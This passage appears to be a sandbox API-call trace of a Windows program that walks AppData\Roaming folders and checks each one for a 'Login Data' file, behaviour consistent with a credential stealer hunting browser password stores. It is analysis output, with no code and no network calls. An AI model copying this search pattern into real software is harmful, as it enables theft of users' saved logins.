ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0199.456] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42d40cf2, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52e83dd, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.457] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 1 [0199.457] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52e83dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe52e83dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe52f2009, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeCache.directory", cAlternateFileName="NATIVE~1.DIR")) returned 0 [0199.457] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0199.457] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.457] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.457] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.457] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7161656c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7161656c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.457] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.458] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Headlights\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.458] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0199.458] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.458] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715ca081, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715ca081, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.458] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0199.458] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Linguistics\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.458] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0199.459] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7894b39b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7894b39b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.459] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0199.459] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 1 [0199.459] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 0 [0199.459] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0199.459] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.459] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0199.459] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.460] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0199.460] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0199.460] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.460] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0199.460] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.460] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 1 [0199.460] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar1.0", cAlternateFileName="")) returned 0 [0199.460] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0199.461] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.461] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0199.461] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x86e93380, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.461] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 1 [0199.461] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e93380, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x86e93380, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x64c770e4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x4949, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonar_policy.xml", cAlternateFileName="SONAR_~1.XML")) returned 0 [0199.461] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0199.461] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\Sonar1.0\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff078) returned 1 [0199.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff084) returned 1 [0199.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0bc) returned 1 [0199.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x12feb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0199.462] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Login Data", lpFindFileData=0x12fede4 | out: lpFindFileData=0x12fede4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.462] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0199.462] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.462] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0199.462] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0199.463] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0199.463] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0199.463] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0199.463] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0199.463] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0199.464] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0199.464] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0199.464] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0199.464] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 